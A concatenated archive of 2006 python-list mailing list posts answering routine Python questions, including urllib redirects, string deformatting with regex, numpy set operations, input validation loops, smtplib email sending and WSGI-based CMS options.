http;//myhost/index.htm where index.htm >is actually a directory. Probably you would get a redirect to http://myhost/index.htm/ >With urllib2.geturl() I can find out if the name is changed to >mypath/ or index.htm/ but it seems that is the only thing I can find >out. This is the HTTPRedirectHandler doing its work. You could look at the Content-Location header, but I doubt you could get much more info about the actual object retrieved - there are proxies, rewrite rules, virtual hosts... Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From paul at boddie.org.uk Mon Oct 23 08:03:19 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 23 Oct 2006 05:03:19 -0700 Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure? References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> Message-ID: <1161604999.598101.212240@f16g2000cwb.googlegroups.com> steve wrote: > I thought that when read Guido van Rossum' Python tutorial.What can we > think that? That x.f() is equivalent to MyClass.f(x)? (Consider restating questions in the body of messages to maintain context, by the way.) Why not try it out? >>> class MyClass: ... def f(self): ... print "I am", self ... >>> x = MyClass() >>> x.f() I am <__main__.MyClass instance at 0x2a955d5b00> >>> MyClass.f(x) I am <__main__.MyClass instance at 0x2a955d5b00> Paul From zhaodapu at gmail.com Tue Oct 10 10:54:43 2006 From: zhaodapu at gmail.com (zdp) Date: 10 Oct 2006 07:54:43 -0700 Subject: How to share session with IE In-Reply-To: <1160480177.704013.37770@k70g2000cwa.googlegroups.com> References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> <1160480177.704013.37770@k70g2000cwa.googlegroups.com> Message-ID: <1160492082.805072.181770@i42g2000cwa.googlegroups.com> It's exactly what I want. I'll try. Thanks! Bernard wrote: > Hello Dapu, > > You can do the same thing as IE on your forum using urllib2 and > cookielib. In short you need to code a small webcrawler. I can give you > my browser module if necessary. > You might not have the time to fiddle with the coding part or my > browser module so you can also use this particularly useful module : > http://wwwsearch.sourceforge.net/mechanize/ > The documentation is pretty clear for an initiated python programmer. > If it's not your case, I'd recommend to read some ebooks on the python > language first to get use to it. > > Bernard > > > > > zdp wrote: > > Hello! > > > > I need to process some webpages of a forum which is powered by discuz!. > > When I login, there are some options about how long to keep the > > cookies: forever, month, week, et al. If I choose forever, I don't > > need to login each time, and When I open the internet explorer I can > > access any pages directly. Some urls of the pages like: > > > > http://www.somesite.com/bbs/viewthread.php?tid=12345&extra=page%3D1 > > > > However, now I need to process some pages by a python program. When I > > use urllib.urlopen(theurl), I can only get a page which told me I need > > login. I think It's reasonable, becuase I wasn't in a loggined session > > which as IE did. > > > > So how can I do my job? I want to get the right webpage by the url. I > > have search answers from the groups but didn't get clear answer. Should > > I use win32com or urllib? Any reply or information is appreciate. Hope > > I put it clear. > > > > Dapu From hg at nospam.com Thu Oct 12 20:50:44 2006 From: hg at nospam.com (hg) Date: Thu, 12 Oct 2006 19:50:44 -0500 Subject: Starting out. In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> Message-ID: <9yBXg.27276$Go3.18515@dukeread05> Ahmer wrote: > Hi all! > > I am a 15 year old High School Sophomore. I would like to start > programming in Python. In school, we are learning Java (5) and I like > to use the Eclipse IDE, I also am learning PHP as well. > > What are some ways to get started (books, sites, etc.)? I am usually on > linux, but I have a windows box and am planning on getting a mac. > Eclipse does take time to get used to ... not sure you want to put this between you and your learning Python ... you might want to assess a two step process. This is a very good introduction to python (http://www.diveintopython.org/) ... and then there are a billion of good books. hg From python.list at tim.thechases.com Sat Oct 14 09:20:33 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sat, 14 Oct 2006 08:20:33 -0500 Subject: Reverse string-formatting (maybe?) In-Reply-To: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> Message-ID: <4530E421.3050301@tim.thechases.com> >>>> template = 'I am %s, and he %s last %s.' >>>> values = ('coding', "coded', 'week') >>>> formatted = template % values >>>> formatted > 'I am coding, and he coded last week.' >>>> deformat(formatted, template) > ('coding', 'coded', 'week') > > expanded (for better visual): >>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.') > ('coding', 'coded', 'week') > > It would return a tuple of strings, since it has no way of telling what > the original type of each item was. > > Any input? I've looked through the documentation of the string module > and re module, did a search of the documentation and a search of this > group, and come up empty-handed. Yes, in the trivial case you provide, it can be done fairly easily using the re module: >>> import re >>> template = 'I am %s, and he %s last %s.' >>> values = ('coding', 'coded', 'week') >>> formatted = template % values >>> unformat_re = re.escape(template).replace('%s', '(.*)') >>> # unformat_re = unformat_re.replace('%i', '([0-9]+)') >>> r = re.compile(unformat_re) >>> r.match(formatted).groups() ('coding', 'coded', 'week') Thing's get crazier when you have things like >>> answer ='format values into a string' >>> template = 'The formatting string %%s is used to %s' % answer or >>> template = 'The value is %0*.*f' >>> values = (10, 4, 3.14159) >>> formatted = template % values >>> formated 'The value is 00003.1415' or >>> template = 'Dear %(name)s, Thank you for the %(gift)s. It was very %(adj).' % {'name': 'Grandma', 'gift': 'sweater', 'adj': 'nice'} Additionally, things go a little tangled when the replacement values duplicate matters in the template. Should the unformatting of "I am tired, and he didn't last last All Saint's Day" be parsed as ('tired', "didn't last", "All Saint's Day") or ('tired', "didn't", "last All Saint's Day"). The /intent/ is likely the former, but getting a computer to understand intent is a non-trivial task ;) Just a few early-morning thoughts... -tkc From MonkeeSage at gmail.com Tue Oct 3 05:46:47 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 3 Oct 2006 02:46:47 -0700 Subject: Howto pass Array/Hash into Function References: <1159867755.636060.48790@m7g2000cwm.googlegroups.com> Message-ID: <1159868807.385239.307390@h48g2000cwc.googlegroups.com> Wildemar Wildenburger wrote: > MonkeeSage wrote: > > Wijaya Edward wrote: > >> I wonder how can that be done in Python. > > > > def myfunc(plain_var, hash_ref, arref): > > # Do sth with those variables > > return > > At the risk of being a jerk (sorry, I'm really just curious): > Why isn't that obvious? > > wildemar (sorry) I wondered that too and wasn't even going to answer, but then I thought mabye the question was meant to be more general, like "what is the syntax for passing objects to functions in python?" Regards, Jordan From pavlovevidence at gmail.com Wed Oct 18 02:37:10 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 17 Oct 2006 23:37:10 -0700 Subject: Python wrapper for C++ core References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> Message-ID: <1161153430.166027.301810@m73g2000cwd.googlegroups.com> holly.woodland at gmail.com wrote: > Hi All > > Apologies in advance for the pretty basic question - but I can't seem > to find an answer anywhere else. > > I am developing a fluid sim in C++ and have heard that many people use > Python in conjunction with C++ for this sort of thing (especially in > games dev). > > What I can't understand why you would want to do this. Obviously the > core would be written in C++ (for my purposes anyway) so what parts > would be written in Python? What is the benefit, in this situation, of > using Python instead of C++? I see "fluid sim" and "games dev" in the same post, which kind of makes me scratch my head. What would you need fluid sim for in a game? Maybe it's a flight sim; I suppose now computers are fast enough to attempt a low-fidelity CFD (computational fluid dynamics) in real time. (Or maybe you mean something different by fluid sim, like a puzzle game involving valves or something.) Anyways, combining Python with C is useful for all kinds of applications, not just games and simulations, because Python has different strengths than C. C is faster and can inteface easily with hardware and the OS; Python is better at pretty much everything else. It takes care of a lot of stuff you'd have to do yourself in C. Speaking as someone who studied a lot of CFD in college, I think Python in particularly is very useful for extreme numerical work. (If that's not what you're talking about, never mind the rest of the post.) The people who do fluid simulations are engineers (classical sense), not programmers. These people do NOT like to program. They like to fiddle with arrays and do arithmetic; stuff like memory management, input/output, and other computer-science-ish tasks are a pain in the neck. Time spent doing that kind of stuff is time not spent doing useful things like hand-optimizing the hell out of the numerical code. Python (even with Numeric) is simply too slow for high-end CFD applications, so the numerical part is almost always written in C or Fortran. But C and Fortran are terrible languages to do things like memory management and I/O in. Python, OTOH, is terrific for these things. It's a great language for people who don't like to program. Comparable languages such as Ruby are also good for I/O and stuff, but I think Python's the best of all for numerical work: 1. Large support community 2. Large standard library and lots of third-party packages out there, addresses all kinds of needs 3. A very spiffy package, pyfort, to interface with Fortran, which can also works for C functions that act like Fortran (which is often the case in a numerical application). Relatively straightforward general interface to C if pyfort won't do. 4. numpy, a very good, well-maintained package which allows Python programs to operate on arrays directly (useful for tasks that don't need to be hyper-optimized). 5. Superficially similar to C and Fortran, which is no small thing for engineers Carl From ewijaya at i2r.a-star.edu.sg Fri Oct 27 01:09:36 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Fri, 27 Oct 2006 13:09:36 +0800 Subject: How to Split Chinese Character with backslash representation? References: Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net> Thanks but my intention is to strictly use regex. Since there are separator I need to include as delimiter Especially for the case like this: >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR' >>> field = list(str) >>> print field ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', '-', 'B', 'A', 'R'] What we want as the output is this instead: ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR] What's the best way to do it? -- Edward WIJAYA SINGAPORE ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Cameron Walsh Sent: Fri 10/27/2006 12:03 PM To: python-list at python.org Subject: Re: How to Split Chinese Character with backslash representation? Wijaya Edward wrote: > Hi all, > > I was trying to split a string that > represent chinese characters below: > > >>>> str = '\xc5\xeb\xc7\xd5\xbc' >>>> print str2, > ??? >>>> fields2 = split(r'\\',str) >>>> print fields2, > ['\xc5\xeb\xc7\xd5\xbc'] > > But why the split function here doesn't seem > to do the job for obtaining the desired result: > > ['\xc5','\xeb','\xc7','\xd5','\xbc'] > Depends on what you want to do with them: >>> string = '\xc5\xeb\xc7\xd5\xbc' >>> for char in string: print char ? ? ? ? ? >>> list_of_characters = list(string) >>> list_of_characters ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc'] >>> for char in string: char '\xc5' '\xeb' '\xc7' '\xd5' '\xbc' >>> for char in list_of_characters: print char ? ? ? ? ? >>> string[3] '\xd5' >>> string[1:3] '\xeb\xc7' Basically, you characters are already separated into a list of characters, that's effectively what a string is (but with a few more methods applicable only to lists of characters, not to other lists). -- http://mail.python.org/mailman/listinfo/python-list ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From martin at v.loewis.de Tue Oct 10 13:30:10 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 10 Oct 2006 19:30:10 +0200 Subject: does raw_input() return unicode? In-Reply-To: References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> Message-ID: <452BD8A2.4060708@v.loewis.de> Theerasak Photha schrieb: >> At the moment, it only returns unicode objects when invoked >> in the IDLE shell, and only if the character entered cannot >> be represented in the locale's charset. > > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow? I admit I don't know what urwid is; from a shallow description I find ("a console user interface library") I can't see the connection to raw_input(). How would raw_input() ever use urwid? Regards, Martin From tdelaney at avaya.com Tue Oct 24 17:31:55 2006 From: tdelaney at avaya.com (Delaney, Timothy (Tim)) Date: Wed, 25 Oct 2006 07:31:55 +1000 Subject: Sorting by item_in_another_list Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com> Carsten Haese wrote: > The current documentation states that "Starting with Python 2.3, the > sort() method is guaranteed to be stable." However, it's not clear > whether this specifies language behavior that all implementations must > adhere to, or whether it simply documents an implementation detail of > CPython. This is a requirement for all implementations claiming to be 2.3 or higher. The "key" parameter was only introduced in 2.4 ... Tim Delaney From horpner at yahoo.com Fri Oct 20 17:17:48 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Fri, 20 Oct 2006 21:17:48 GMT Subject: doctest and exposing internals. References: Message-ID: <02b_g.7604$5i7.7324@newsreading01.news.tds.net> On 2006-10-20, Gabriel Genellina wrote: > At Friday 20/10/2006 16:29, Neil Cerutti wrote: >>The example of correct usage it what's wrong with the >>docstring. >> >>There's no interface for checking if an event is queued in Glk, >>so I resorted to exposing the internal state main.char_request >>in the doc string. What are the alternatives? > > - what you have done I haven't fully absorbed soapbox section of the doctest manual; it cautions against doing what I'm doing, i.e., trying to put complete test coverage in my docstrings. > - modify the interfase to allow that kind of checking Fortunately, I don't control the specification. ;-) > - use a standard unit test I'm making some progress in removing the boilerplate from the doctests by supplying globs to the testmod function. Thanks for your suggestion. -- Neil Cerutti From george.sakkis at gmail.com Mon Oct 23 13:20:16 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 23 Oct 2006 10:20:16 -0700 Subject: Set operations in Numeric References: <1161617351.740540.37590@b28g2000cwb.googlegroups.com> Message-ID: <1161624015.973510.276030@i42g2000cwa.googlegroups.com> Robert Kern wrote: > George Sakkis wrote: > > Is there a way to handle numeric (or numarray or numpy) arrays as sets > > and compute efficiently their intersection, union, etc. ? I hope there > > is a faster way than s = array(set(A) & set(B)). Can this be done with > > masked arrays maybe ? I've never used them though and browsing through > > the docs didn't make clear if it is possible. > > You'll probably want to ask such questions on the numpy list: > > http://www.scipy.org/Mailing_Lists > > Robert Cimrman has implemented a number of set operations based on sorting. > > http://svn.scipy.org/svn/scipy/trunk/Lib/sandbox/arraysetops/arraysetops.py Thank you so much, these fit the bill perfectly ! George From rasmussen.bryan at gmail.com Tue Oct 10 03:30:48 2006 From: rasmussen.bryan at gmail.com (bryan rasmussen) Date: Tue, 10 Oct 2006 09:30:48 +0200 Subject: OT: Sarcasm and irony (was: Dive Into Java?) In-Reply-To: <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> Message-ID: <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> > > > > > E. g. [in Java there is] no operator overloading, but "+" > > > concatenation of strings. What if you'd like to implement your own > > > string-derived class? Ah, never mind. Operator overloading is > > > bad(tm) ;) <= Irony, definitely > > > > Definitely? That one strikes me more as sarcasm. > Well irony originally started out as a very specific concept of the Ancient Greek drama, this is what we nowadays refer to as Dramatic Irony but it is the original irony. Irony then became a literary concept for plot elements similar to Dramatic irony in books, or a weaker type of the Dramatic irony found in the plays of Shakespeare. People then noticed that life was at times ironic in the literary manner. Nowadays the use of the word irony has degenerated to by pretty much synonymous with sarcasm. Cheers, Bryan Rasmussen From jstroud at mbi.ucla.edu Fri Oct 6 17:32:08 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 06 Oct 2006 21:32:08 GMT Subject: error handling in user input: is this natural or just laborious In-Reply-To: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: sam wrote: > hi all, > > i'm starting to put together a program to simulate the performance of > an investment portfolio in a monte carlo manner doing x thousand > iterations and extracting data from the results. > > i'm still in the early stages, and am trying to code something simple > and interactive to get the percentages of the portfolio in the five > different investment categories. i thought i'd get in with the error > handling early so if someone types in something wrong (like a word), or > the numbers don't add up to 100%, the error would be caught immediately > and the user sent back to the start of the loop. granting that there > may be better ways of doing this, if i decide that i do want to do it > like this (i.e. a single error requires all data to be re-entered, not > unreasonable for only five items), is this a good way of doing it or a > confusing way of doing it from the perspective of readability and > maintenance: > > while True: > > cash, bond, blue, tech, dev = 0,0,0,0,0 > check=False > > try: > cash=input('Please enter a cash percentage for the portfolio: ') > except NameError: > print 'That is not a number. Please start again and remember to enter > integers.' > else: > try: > bond=input('Please enter a bond portfolio for the portfolio: ') > > except NameError: > print 'That is not a number. Please start again and remember to > enter integers.' > else: > try: > blue=input('Please enter a blue-chip percentage for the portfolio: > ') > except NameError: > print 'That is not a number. Please start again and remember to > enter integers.' > else: > try: > tech=input('Please enter a tech stocks percentage for the > portfolio: ') > except NameError: > print 'That is not a number. Please start again and remember to > enter integers.' > else: > try: > dev=input('Please enter a developing countries index for the > portfolio: ') > check=True > except NameError: > print 'That is not a number. Please start again and remember to > enter integers.' > > if cash+bond+blue+tech+dev==100: > break > if cash+bond+blue+tech+dev!=100 and check!= False: > print 'Those numbers do not sum to 100. Please start again.' > > > > i know it's a bit verbose, but it was the nested try clauses i was > really wondering about. is the code immediate legible to experienced > python users? or does it look like gibberish at first? > > just hoped for some fresh eyes on it. > > thanks, > > sam > > PS making check=True just saves the code from printing 'those numbers > don't sum to 100' if they haven't all been entered, which looks kind of > silly. > It looks pretty rough. I think tabs are a very bad idea. Patently. Tabs should be reserved for tables, for which tabs were named. If they were meant to be used for indenting, they would have been named "indenters". Try blocks in my opinion are a good idea but they need to be done correctly. You should also consider thinking more in terms of procedural programming than linear. Also, the best way would be by gui. See this book for the best resource (IMHO) for python gui programming: http://www.manning.com/grayson/ I think the following is much better technique and is more fun than laborious to code: def get_pcts(prompts): prompts = ['gross product', 'repleat divisional', 'sales quota'] pcts = [get_pct(prompt) for prompt in prompts] sum_pcts = sum(pcts) if (sum_pcts > 100.0001) or (sum_pcts < 99.999): raise ValueError, "Values didn't add to 100." return pcts def get_pct(pct_type): pct = raw_input('Input percent of %s:' % pct_type) return float(pct) def get_values(): prompts = ['gross product', 'net outsource', 'sales quota'] while True: try: pcts = get_pcts(prompts) return dict(zip(prompts, pcts)) except ValueError, e: print e print 'Try again dude.' """ Here's a test >>> print get_values() Input percent of gross product:21 Input percent of repleat divisional:22 Input percent of sales quota:57 {'sales quota': 57.0, 'gross product': 21.0, 'net outsource': 22.0} """ James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From oshecho at gmail.com Sun Oct 22 07:58:41 2006 From: oshecho at gmail.com (Echo) Date: Sun, 22 Oct 2006 07:58:41 -0400 Subject: Python and CMS Message-ID: <910885da0610220458l35c911f6x6831b2bf8e618c25@mail.gmail.com> I am going to start working on a church website. And since I like python, I decided to use WSGI. However, I later found out about all the different CMS's in php. So I wondered if there where any in python. Sadly, I only found Plone, skeletonz, and PyLucid (If there is any more, please let me know). Of those three, only PyLucid supports WSGI and it didn't look very nice to me. Both Plone and skeletonz looked very nice. However, they can't be hosted on a regular web host(at least to my knowledge) since they run as the web server themselves. So hosting would cost more, at least 2-3 times more from what I've seen. So I'm thinking of making a python CMS based on WSGI. I'm now trying to figure out a few things like the best way to store the content and how to manage/use plugins. For storing the content, the only ways I know of are as files or in a database. But I'm not sure what would be better. And as for how to do plugings, I plan on looking at Plone and skeletonz. As for working with WSGI, I have found Colubrid(http://wsgiarea.pocoo.org/colubrid/) and Paste(http://pythonpaste.org/). I was wondering if anyone knew of any other libraries that make working with WSGI easier. Also, I wondering if anyone would like to share their experiences of working with those. ps. I know that this is a big and complicated project. But no matter how far I get, it will be fun because its Python:) -- "Now that I am a Christian I do not have moods in which the whole thing looks very improbable: but when I was an atheist I had moods in which Christianity looked terribly probable." -C. S. Lewis -Echo From fuzzyman at gmail.com Sun Oct 15 18:28:26 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 15 Oct 2006 15:28:26 -0700 Subject: SPE for 2.5? In-Reply-To: <1160950716.385705.161880@b28g2000cwb.googlegroups.com> References: <1160950716.385705.161880@b28g2000cwb.googlegroups.com> Message-ID: <1160951306.307324.293710@h48g2000cwc.googlegroups.com> SPE - Stani's Python Editor wrote: > John Salerno schreef: > > > Does anyone know if SPE is compatible with Python 2.5? I don't see a > > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. > > > > Thanks. > > It should be. Contact me and I'll help you to make a 2.5 installer, > which I'll gladly provide for download. I use SPE on daily basis > myself. Hello Stani, Work on it does seem to have slowed down. When do you expect your new project to start bearing fruit ? Fuzzyman http://www.voidspace.org.uk > > Stani From horpner at yahoo.com Thu Oct 12 15:34:07 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 12 Oct 2006 21:34:07 +0200 Subject: paseline(my favorite simple script): does something similar exist? References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> <1160681166.890803.169610@c28g2000cwb.googlegroups.com> <1160681521.103052.49980@i42g2000cwa.googlegroups.com> Message-ID: On 2006-10-12, Pierre Quentel wrote: >> >>> parseline( 'A 1 22 3 6', 'sdxf') >> ['A', 1, None, 3.0] > > Yes, but in this case the OP expects to get ['A',1,3.0] > > A shorter version : > > def parseline(line,format): > xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} > result = [ xlat[f](w) for f,w in zip(format,line.split()) > if xlat.get(f,None) ] > if len(result) == 0: return None > if len(result) == 1: return result[0] > return result I don't like the name, since it actually seems to be parsing a string. -- Neil Cerutti From MonkeeSage at gmail.com Sat Oct 7 01:15:10 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 22:15:10 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> Message-ID: <1160198110.064741.133700@k70g2000cwa.googlegroups.com> On Oct 6, 8:23 pm, Gabriel Genellina wrote: > if 2 in [1,2,3]: print "Use the same (in) operator" > elif 'E' in ('E','r','i','k'): print "Works for any sequence" > elif 'o' in 'hello': print "Even strings" This isn't really analogous is it? For "somedict.has_key(k)" or "k in somedict", you don't need to know the value of somedict[k] ahead of time. So you can avoid KeyError by asking if the key exists first before trying to get the value. Wouldn't that be more like this for lists (and other sequences): def has_index(seq, index): try: seq[index] return True except IndexError: return False I've often wondered why there is no built-in method like that for sequence objects. And also why not the equivalent of dict.get for other sequences: def get(seq, index, default=None): if has_index(seq, index): return seq[index] else: return default Seems useful... Regards, Jordan From fredrik at pythonware.com Fri Oct 20 05:27:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 11:27:49 +0200 Subject: help with my first use of a class References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> <4538942b$0$31252$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > First, notice that you *don't* need a class here to avoid globals. > Learning to use function as *functions* (ie: taking arguments and > returning values) instead of procedure would help: > > def random_quote(cursor): > c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") make that "cursor.execute" (etc) From ilias at lazaridis.com Wed Oct 4 19:25:24 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 4 Oct 2006 16:25:24 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1160004324.651743.280590@b28g2000cwb.googlegroups.com> Giovanni Bajo wrote: > Hello, > > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? > -- > Giovanni Bajo Fascinating. The python foundation suggests a non-python non-open-source bugtracking tool for python. It's like saying: "The python community is not able to produce the tools needed to drive development of python forward." Anyway. The whole selection process is intransparent. The commitee should have stated "goals" and "requirements" with a public verification of the tools against them. - http://case.lazaridis.com/wiki/Tracking . From onurb at xiludom.gro Mon Oct 16 05:57:06 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 11:57:06 +0200 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> <452cd0df$0$11417$426a74cc@news.free.fr> <452fb8cf$1@nntp0.pdx.net> Message-ID: <45335773$0$12918$426a34cc@news.free.fr> Fredrik Lundh wrote: > Scott David Daniels wrote: > >> Nope. idempotent: f(f(x)) = f(x) >> That is, after doing it once, repeating it won't hurt. > > http://en.wikipedia.org/wiki/Idempotence_%28computer_science%29 > > > Thank you (Scott and Fredrik) for the correction. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From bj_666 at gmx.net Sat Oct 28 05:39:36 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sat, 28 Oct 2006 11:39:36 +0200 Subject: Where do nested functions live? References: Message-ID: In , Steven D'Aprano wrote: > Does this mean I'm wasting my time writing doc strings for nested > functions? If there is no way of accessing them externally, should I make > them mere # comments? Whats the difference in "wasted time" between using """ or # as delimiters for the explanation what the function is doing!? Or do you ask if you should not document inner functions at all? Someone might read the source and be very happy to find docs(trings) there. And of course there are inner functions that are returned from the outer one and on those objects it is possible to inspect and read the docs. Ciao, Marc 'BlackJack' Rintsch From fdu.xiaojf at gmail.com Mon Oct 16 03:31:37 2006 From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com) Date: Mon, 16 Oct 2006 15:31:37 +0800 Subject: How to send E-mail without an external SMTP server ? In-Reply-To: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> Message-ID: <45333559.7020203@gmail.com> Rob Wolfe wrote: > fdu.xiaojf at gmail.com wrote: > >> Hi, >> >> I just want to send a very simple email from within python. >> >> I think the standard module of smtpd in python can do this, but I >> haven't found documents about how to use it after googleing. Are there >> any examples of using smtpd ? I'm not an expert,so I need some examples >> to learn how to use it. >> > > See standard documentation: > > http://docs.python.org/lib/SMTP-example.html > > HTH, > Rob > > I have read the example and copied the code and save as send.py, then I run it. Here is the output: $ python send.py From: fdu.xiaojf at gmail.com To: fdu.xiaojf at gmail.com Enter message, end with ^D (Unix) or ^Z (Windows): just a test from localhost Message length is 82 send: 'ehlo [202.127.19.74]\r\n' reply: '250-WebMail\r\n' reply: '250 AUTH plain\r\n' reply: retcode (250); Msg: WebMail AUTH plain send: 'mail FROM:\r\n' reply: '502 negative vibes\r\n' reply: retcode (502); Msg: negative vibes send: 'rset\r\n' reply: '502 negative vibes\r\n' reply: retcode (502); Msg: negative vibes Traceback (most recent call last): File "send.py", line 26, in ? server.sendmail(fromaddr, toaddrs, msg) File "/usr/lib/python2.4/smtplib.py", line 680, in sendmail raise SMTPSenderRefused(code, resp, from_addr) smtplib.SMTPSenderRefused: (502, 'negative vibes', 'fdu.xiaojf at gmail.com') Do I have to setup a smtp server on my localhost ? Thanks a lot. xiaojf From r3bol at yahoo.com Sun Oct 8 15:04:34 2006 From: r3bol at yahoo.com (r3bol at yahoo.com) Date: 8 Oct 2006 12:04:34 -0700 Subject: Newbie - Stuck In-Reply-To: <1160311884.033532.173480@i42g2000cwa.googlegroups.com> References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> <1160311884.033532.173480@i42g2000cwa.googlegroups.com> Message-ID: <1160334274.720136.44090@h48g2000cwc.googlegroups.com> Thanks everyone. I guess I was a little quick to think I could jump straight into Python. I understand the principals of what was said but not the code just yet. I was always under the impression that python was a cleaned up version of perl. I guess this excercise put me straight! I will try and get through a lot more beginners tutorials before attempting a stunt like that again ;) Python has surprised me already (a good thing!) Regards. From johnjsal at NOSPAMgmail.com Wed Oct 25 15:21:24 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 19:21:24 GMT Subject: cleaner way to write this? In-Reply-To: <7xzmbkgq5h.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> <7xzmbkgq5h.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Right. The above handles that case, I believe. Oh, you're right! It's amazing how this went from a simple, two-line method to a big mess of error-checking. :) From steve at holdenweb.com Tue Oct 24 07:12:18 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 12:12:18 +0100 Subject: http call. In-Reply-To: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> Message-ID: Kirt wrote: > Hi! > > I have a php program (test.php) on a server. eg: > http://abc.xyz.com/test.php > > I need my python scripts to make a http call to these program pass some > data and get back a secret key from the php program.. > > Could anyone help me this, what will i need to make a http call to the > php application? > import urllib nf = urllib.urlopen('http://abc.xyz.com/test.php') data = nf.read() Should get you started. Look for the "mechanize" and "ClientForm" (?) modules to help with the site interactions. It doesn't matter what language the server uses: you will be talking HTTP to it! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From skip at pobox.com Wed Oct 4 15:43:01 2006 From: skip at pobox.com (skip at pobox.com) Date: Wed, 4 Oct 2006 14:43:01 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> <1159975907.085831.44790@k70g2000cwa.googlegroups.com> <17699.55812.728555.796343@montanaro.dyndns.org> Message-ID: <17700.3781.224140.588827@montanaro.dyndns.org> >> No, actually switching trackers can be one big pain in the ass. You >> probably aren't aware of how hard it's been for the Python >> development team (I think Martin v. Loewis, mostly) to get tracker >> 